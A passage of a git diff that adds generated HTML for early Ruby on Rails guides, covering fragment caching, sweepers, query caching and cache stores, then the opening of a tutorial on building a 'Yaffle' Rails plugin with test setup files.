+ <span style="color: #FF0000"><%= link_to p.name, product_url(p) %></span>
+ <span style="color: #FF0000"><% end %></span>
+<span style="color: #FF0000"><% end %></span>
+</tt></pre></div></div>
+<div class="para"><p>The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an action_path to the cache call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% cache(:action =></span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=></span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%></span>
+ All available products<span style="color: #990000">:</span>
+</tt></pre></div></div>
+<div class="para"><p>and you can expire it using the expire_fragment method, like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'producst'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=></span> 'all_products<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_sweepers">1.4. Sweepers</h3>
+<div class="para"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
+expire_{page,action,fragment} calls in your code by moving all the work
+required to expire cached content into a ActionController::Caching::Sweeper
+class that is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object n
+an around or after filter.</p></div>
+<div class="para"><p>Continuing with our Product controller example, we could rewrite it with a
+sweeper such as the following:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> StoreSweeper <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Caching<span style="color: #990000">::</span>Sweeper
+ observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Post model</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was created call this</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was updated call this</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_update<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was deleted call this</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ private
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expire_cache_for<span style="color: #990000">(</span>record<span style="color: #990000">)</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># Expire the list page now that we added a new product</span></span>
+ expire_page<span style="color: #990000">(:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'list'</span><span style="color: #990000">)</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Expire a fragment</span></span>
+ expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=></span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductController <span style="color: #990000"><</span> ActionController
+
+ before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+ cache_page <span style="color: #990000">:</span>list
+ caches_action <span style="color: #990000">:</span>edit
+ cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>list
+ expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_sql_caching">1.5. SQL Caching</h3>
+<div class="para"><p>Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.</p></div>
+<div class="para"><p>For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductController <span style="color: #990000"><</span> ActionController
+
+ before_filter <span style="color: #990000">:</span>authenticate<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+ cache_page <span style="color: #990000">:</span>list
+ caches_action <span style="color: #990000">:</span>edit
+ cache_sweeper <span style="color: #990000">:</span>store_sweeper<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[</span> <span style="color: #990000">:</span>create <span style="color: #990000">]</span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> list
+ <span style="font-style: italic"><span style="color: #9A1900"># Run a find query</span></span>
+ Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+
+ <span style="color: #990000">...</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Run the same query again</span></span>
+ Product<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ expire_page <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>list
+ expire_action <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #990000">:</span>edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In the <em>list</em> action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.</p></div>
+<div class="para"><p>Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.</p></div>
+<h3 id="_cache_stores">1.6. Cache stores</h3>
+<div class="para"><p>Rails provides different stores for the cached data for action and fragment
+caches. Page caches are always stored on disk.</p></div>
+<div class="para"><p>The cache stores provided include:</p></div>
+<div class="para"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
+ process, which is fine for WEBrick and for FCGI (if you
+ don't care that each FCGI process holds its own fragment
+ store). It's not suitable for CGI as the process is thrown
+ away at the end of each request. It can potentially also
+ take up a lot of memory since each process keeps all the
+ caches in memory.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store
+</tt></pre></div></div>
+<div class="para"><p>2) File store: Cached data is stored on the disk, this is the default store
+ and the default path for this store is: /tmp/cache. Works
+ well for all types of environments and allows all processes
+ running from the same application directory to access the
+ cached content.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span>
+</tt></pre></div></div>
+<div class="para"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
+ servers communicate with. This works for all environments and
+ only keeps one cache around for all processes, but requires
+ that you run and manage a separate DRb process.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span>
+</tt></pre></div></div>
+<div class="para"><p>4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+ Requires the ruby-memcache library:
+ gem install ruby-memcache.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span>
+</tt></pre></div></div>
+<div class="para"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_advanced_caching">2. Advanced Caching</h2>
+<div class="sectionbody">
+<div class="para"><p>Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info here:
+<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver's
+interlock plugin (more info here:
+<a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/</a>). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.</p></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/creating_plugins.html b/railties/doc/guides/html/creating_plugins.html new file mode 100644 index 0000000000..93fbe72a78 --- /dev/null +++ b/railties/doc/guides/html/creating_plugins.html @@ -0,0 +1,1402 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>The Basics of Creating Rails Plugins</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_preparation">Preparation</a> + <ul> + + <li><a href="#_create_the_basic_app">Create the basic app</a></li> + + <li><a href="#_create_the_plugin">Create the plugin</a></li> + + <li><a href="#_setup_the_plugin_for_testing">Setup the plugin for testing</a></li> + + </ul> + </li> + <li> + <a href="#_add_a_tt_to_squawk_tt_method_to_string">Add a <tt>to_squawk</tt> method to String</a> + </li> + <li> + <a href="#_add_an_tt_acts_as_yaffle_tt_method_to_activerecord">Add an <tt>acts_as_yaffle</tt> method to ActiveRecord</a> + </li> + <li> + <a href="#_create_a_tt_squawk_info_for_tt_view_helper">Create a <tt>squawk_info_for</tt> view helper</a> + </li> + <li> + <a href="#_create_a_migration_generator">Create a migration generator</a> + </li> + <li> + <a href="#_add_a_custom_generator_command">Add a custom generator command</a> + </li> + <li> + <a href="#_add_a_custom_route">Add a Custom Route</a> + </li> + <li> + <a href="#_odds_and_ends">Odds and ends</a> + <ul> + + <li><a href="#_work_with_init_rb">Work with init.rb</a></li> + + <li><a href="#_generate_rdoc_documentation">Generate RDoc Documentation</a></li> + + <li><a href="#_store_models_views_helpers_and_controllers_in_your_plugins">Store models, views, helpers, and controllers in your plugins</a></li> + + <li><a href="#_write_custom_rake_tasks_in_your_plugin">Write custom Rake tasks in your plugin</a></li> + + <li><a href="#_store_plugins_in_alternate_locations">Store plugins in alternate locations</a></li> + + <li><a href="#_create_your_own_plugin_loaders_and_plugin_locators">Create your own Plugin Loaders and Plugin Locators</a></li> + + <li><a href="#_use_custom_plugin_generators">Use Custom Plugin Generators</a></li> + + </ul> + </li> + <li> + <a href="#_appendix">Appendix</a> + <ul> + + <li><a href="#_references">References</a></li> + + <li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li> + + </ul> + </li> + </ol> + </div> + + <div id="content"> + <h1>The Basics of Creating Rails Plugins</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.</p></div>
+<div class="para"><p>In this tutorial you will learn how to create a plugin that includes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Core Extensions - extending String with a <tt>to_squawk</tt> method:
+</p>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Anywhere</span></span>
+<span style="color: #FF0000">"hello!"</span><span style="color: #990000">.</span>to_squawk <span style="font-style: italic"><span style="color: #9A1900"># => "squawk! hello!"</span></span>
+</tt></pre></div></div>
+</li>
+<li>
+<p>
+An <tt>acts_as_yaffle</tt> method for ActiveRecord models that adds a <tt>squawk</tt> method:
+</p>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=></span> <span style="color: #990000">:</span>last_sang_at
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+Hickwall<span style="color: #990000">.</span>new<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</li>
+<li>
+<p>
+A view helper that will print out squawking info:
+</p>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>squawk_info_for<span style="color: #990000">(</span><span style="color: #009900">@hickwall</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</li>
+<li>
+<p>
+A generator that creates a migration to add squawk columns to a model:
+</p>
+<div class="listingblock">
+<div class="content">
+<pre><tt>script/generate yaffle hickwall</tt></pre>
+</div></div>
+</li>
+<li>
+<p>
+A custom generator command:
+</p>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000"><</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
+ m<span style="color: #990000">.</span>yaffle_definition
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</li>
+<li>
+<p>
+A custom route method:
+</p>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
+ map<span style="color: #990000">.</span>yaffles
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</li>
+</ul></div>
+<div class="para"><p>In addition you'll learn how to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+test your plugins.
+</p>
+</li>
+<li>
+<p>
+work with <em>init.rb</em>, how to store model, views, controllers, helpers and even other plugins in your plugins.
+</p>
+</li>
+<li>
+<p>
+create documentation for your plugin.
+</p>
+</li>
+<li>
+<p>
+write custom Rake tasks in your plugin.
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_preparation">1. Preparation</h2>
+<div class="sectionbody">
+<h3 id="_create_the_basic_app">1.1. Create the basic app</h3>
+<div class="para"><p>In this tutorial we will create a basic rails application with 1 resource: bird. Start out by building the basic rails app:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rails plugin_demo
+cd plugin_demo
+script/generate scaffold bird name:string
+rake db:migrate
+script/server</tt></pre>
+</div></div>
+<div class="para"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>. Make sure you have a functioning rails app before continuing.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
+</tr></table>
+</div>
+<h3 id="_create_the_plugin">1.2. Create the plugin</h3>
+<div class="para"><p>The built-in Rails plugin generator stubs out a new plugin. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
+<div class="para"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
+<div class="para"><p>Examples:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>./script/generate plugin BrowserFilters
+./script/generate plugin BrowserFilters --with-generator</tt></pre>
+</div></div>
+<div class="para"><p>Later in the plugin we will create a generator, so go ahead and add the <tt>--with-generator</tt> option now:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>script/generate plugin yaffle --with-generator</tt></pre>
+</div></div>
+<div class="para"><p>You should see the following output:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>create vendor/plugins/yaffle/lib
+create vendor/plugins/yaffle/tasks
+create vendor/plugins/yaffle/test
+create vendor/plugins/yaffle/README
+create vendor/plugins/yaffle/MIT-LICENSE
+create vendor/plugins/yaffle/Rakefile
+create vendor/plugins/yaffle/init.rb
+create vendor/plugins/yaffle/install.rb
+create vendor/plugins/yaffle/uninstall.rb
+create vendor/plugins/yaffle/lib/yaffle.rb
+create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create vendor/plugins/yaffle/test/core_ext_test.rb
+create vendor/plugins/yaffle/generators
+create vendor/plugins/yaffle/generators/yaffle
+create vendor/plugins/yaffle/generators/yaffle/templates
+create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
+</div></div>
+<div class="para"><p>For this plugin you won't need the file <em>vendor/plugins/yaffle/lib/yaffle.rb</em> so you can delete that.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rm vendor/plugins/yaffle/lib/yaffle.rb</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">
+<div class="title">Editor's note:</div>Many plugin authors prefer to keep this file, and add all of the require statements in it. That way, they only line in init.rb would be <tt>require "yaffle"</tt>. If you are developing a plugin that has a lot of files in the lib directory, you may want to create a subdirectory like lib/yaffle and store your files in there. That way your init.rb file stays clean</td>
+</tr></table>
+</div>
+<h3 id="_setup_the_plugin_for_testing">1.3. Setup the plugin for testing</h3>
+<div class="para"><p>Testing plugins that use the entire Rails stack can be complex, and the generator doesn't offer any help. In this tutorial you will learn how to test your plugin against multiple different adapters using ActiveRecord. This tutorial will not cover how to use fixtures in plugin tests.</p></div>
+<div class="para"><p>To setup your plugin to allow for easy testing you'll need to add 3 files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+A <em>database.yml</em> file with all of your connection strings.
+</p>
+</li>
+<li>
+<p>
+A <em>schema.rb</em> file with your table definitions.
+</p>
+</li>
+<li>
+<p>
+A test helper that sets up the database before your tests.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For this plugin you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following files:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>sqlite:
+ :adapter: sqlite
+ :dbfile: yaffle_plugin.sqlite.db
+
+sqlite3:
+ :adapter: sqlite3
+ :dbfile: yaffle_plugin.sqlite3.db
+
+postgresql:
+ :adapter: postgresql
+ :username: postgres
+ :password: postgres
+ :database: yaffle_plugin_test
+ :min_messages: ERROR
+
+mysql:
+ :adapter: mysql
+ :host: localhost
+ :username: rails
+ :password:
+ :database: yaffle_plugin_test</tt></pre>
+</div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=></span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ create_table <span style="color: #990000">:</span>hickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_squawk
+ t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_squawked_at
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ create_table <span style="color: #990000">:</span>wickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_tweet
+ t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_tweeted_at
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/test_helper.rb</span></span>
+
+ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ENV'</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'test'</span>
